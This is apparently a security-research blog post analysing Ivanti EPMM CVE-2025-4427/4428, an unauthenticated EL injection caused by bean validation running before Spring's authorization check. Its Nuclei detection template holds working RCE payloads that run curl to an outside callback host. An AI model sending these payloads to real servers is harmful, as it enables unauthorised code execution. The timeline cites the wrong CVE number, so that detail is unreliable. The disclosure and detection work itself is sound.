6 min read
CVE-2025-4427/4428 : Ivanti EPMM Remote Code Execution - Technical Analysis

Introduction
As security researchers, we all know that familiar dance when blackbox testing web apps and APIs. You poke an endpoint, get hit with "blah parameter is missing" or "blah is of the wrong type," and after satisfying every requirement, you're often met with the frustrating 401 or 403. That feeling of being so close, yet so far, is something we've all experienced.
However, in a recent analysis of Ivanti EPMM's CVE-2025-4427 and CVE-2025-4428 , this very flow of execution – validation happening before authorization – inadvertently paved the way to an unauthenticated Remote Code Execution vulnerability in an Ivanti EPMM/Mobileiron.
Background
In Hibernate Validator, the ConstraintValidatorContext.buildConstraintViolationWithTemplate(String messageTemplate)
call lets you supply a custom violation message using a template string. If that template is constructed from untrusted user input without any escaping or sanitization it effectively opens the door to server-side template injection (SSTI) or Expression-Language (EL) injection. At runtime, Hibernate may process the template through Spring’s StandardELContext to resolve placeholders like ${…}, inadvertently executing any embedded expressions
Patch Diffing
We unpacked both the patched and unpatched builds of the EPMM server and ran a recursive diff across de-compiled classes. Two validators revealed one-line patches that neutralise user input within error messages:
In DeviceFeatureUsageReportQueryRequestValidator:

Before, the raw format field from the query string was passed into the message builder; after, it was replaced with an empty string. This eliminates the direct EL entry-point, since the message template no longer contains attacker data.
Similarly, In ScepSubjectValidator (used during certificate enrollment):

Here, any user-supplied certificate subject DN used to be HTML-encoded and then concatenated into the error template. That too could carry ${…} payloads into an EL context. The patch removes the interpolation entirely.
Mapping Source To Sink
While looking where DeviceFeatureUsageReportQueryRequest
validator is called, we came across the following controller:
java
1@RequestMapping(method = GET, value = "/api/v2/featureusage")
2@PreAuthorize("hasPermissionForSpace(#adminDeviceSpaceId, {'PERM_FEATURE_USAGE_DATA_VIEW'})")
3@ResponseBody
4public Response downloadDeviceFeatureUsageReport(
5 @Valid @ModelAttribute DeviceFeatureUsageReportQueryRequest queryRequest,
6 HttpServletRequest request) {
7 [...]
8 }
MobileIron API exposes GET endpoints at /api/v2/featureusage
and /api/v2/featureusage_history
and to allow administrators to download device-feature usage reports in formats such as CSV, JSON or PDF.
While making the request to this endpoint as an authenticated user with "format" as query parameter with an invalid value to see if the DeviceFeatureUsageReportQueryRequestValidator
is triggered.

and as expected we got the response "Format 'xxx' is invalid. Valid formats are 'json', 'csv'."
Now, entering a simple expression language evaluation payload such as ${3*333}
we could confirm the evaluation from response returned "Format '999' is invalid. Valid formats are 'json', 'csv'."
.
Suprisingly, this also worked without authentication cookies or token i.e. as unauthenticated user.

Spring MVC’s Argument Resolution and Security Ordering
To understand why unauthenticated EL evaluation remains possible, we must observe the precise sequence of steps Spring MVC takes for each incoming request:
- The DispatcherServlet matches the request URL to a controller method via HandlerMapping.
- A HandlerAdapter begins preparing the method arguments: it instantiates parameter objects, binds request parameters, and if @Valid is present, runs all registered javax.validation.Validator implementations or Spring’s DataBinder hooks for those objects.
- Only after all arguments are bound and validated does Spring invoke the controller method. At this moment MethodSecurityInterceptor (the mechanism behind @PreAuthorize and @Secured) wraps the invocation and checks permissions.
Because bean-validation fires in step 2, any code executed inside a custom ConstraintValidator runs with the application’s full privileges, even though the authentication and authorization filters have not yet been applied to the HTTP request.
Root Cause Analysis - Tldr;
- A request hits the controller with an attacker-controlled format parameter.
- Spring MVC binds query parameters to
DeviceFeatureUsageReportQueryRequest
- @Valid triggers
DeviceFeatureUsageReportQueryRequestValidator.isValid()
. - The validator calls localizedMessageBuilder, inserting the untrusted format value into a message template.
- The template is parsed by the EL engine; any ${…} expression is evaluated immediately.
- Only after validation finishes does MethodSecurityInterceptor execute the
@PreAuthorize
check which is obviously too late. - Result: arbitrary code runs in the application context, no credentials required.
Extras
Similarly, we found that @ScepSubjectValidator
can be called post-authentication by an admin user that is allowed to create or edit SCEP certificate and test SCEP certificate enrollment.

Template
We've created a Nuclei template to easily identify vulnerable Ivanti EPMM instances:
yaml
1id: CVE-2025-4427
2
3info:
4 name: Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution
5 author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
6 severity: critical
7 description: |
8 An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.
9 reference:
10 - https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM
11 classification:
12 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
13 cvss-score: 5.3
14 cve-id: CVE-2025-4427
15 cwe-id: CWE-288
16 epss-score: 0.00942
17 epss-percentile: 0.75063
18 metadata:
19 verified: true
20 max-request: 2
21 shodan-query: http.favicon.hash:"362091310"
22 fofa-query: icon_hash="362091310"
23 product: endpoint_manager_mobile
24 vendor: ivanti
25 tags: cve,cve2025,ivanti,epmm,rce,ssti
26
27http:
28 - raw:
29 - |
30 GET /api/v2/featureusage_history?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1
31 Host: {{Hostname}}
32
33 - |
34 GET /api/v2/featureusage?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1
35 Host: {{Hostname}}
36
37 stop-at-first-match: true
38 matchers-condition: and
39 matchers:
40 - type: word
41 part: body
42 words:
43 - "Format 'Process[pid="
44 - "localizedMessage"
45 condition: and
46
47 - type: word
48 part: interactsh_protocol
49 words:
50 - dns
51
52 - type: status
53 status:
54 - 400
Timeline for CVE-2025-4427:
- May 13, 2025: The National Vulnerability Database (NVD) published details of CVE-2025-2825, highlighting a high and a medium vulnerability in Ivanti EPMM versions that may result in unauthenticated RCE.
- May 14, 2025: Security articles and advisories began circulating, emphasizing the critical nature of the vulnerability and recommending immediate patching.
- May 15, 2025: The ProjectDiscovery Research Team published a Nuclei template to detect CVE-2025-4427, facilitating the identification of vulnerable Ivanti EPMM instances.
Conclusion
In the end, CVE-2025-4427 and its sibling CVE-2025-4428 serve as a striking reminder that even well-intentioned security controls can be undermined by the subtleties of framework internals. What appeared to be a simple EL-injection patch in Ivanti’s EPMM validators actually masked a deeper ordering flaw: bean-validation running before Spring Security’s authorization check. By diffing consecutive releases and tracing every call to buildConstraintViolationWithTemplate, we peeled back the layers of Spring MVC’s argument resolution and exposed a window where untrusted input could execute arbitrary code, all without ever presenting a login prompt.
If you're running a vulnerable Ivanti EPMM instance, update to the one of the fixed versions 11.12.0.5, 12.3.0.2, 12.4.0.2 or 12.5.0.1 as detailed in the Ivanti advisory.
This nuclei template is now part of the ProjectDiscovery Cloud platform, so you can automatically detect this vulnerability across your infrastructure. We also offer free monthly scans to help you detect emerging threats, covering all major vulnerabilities on an ongoing basis, plus a complete 30-day trial available to business email addresses.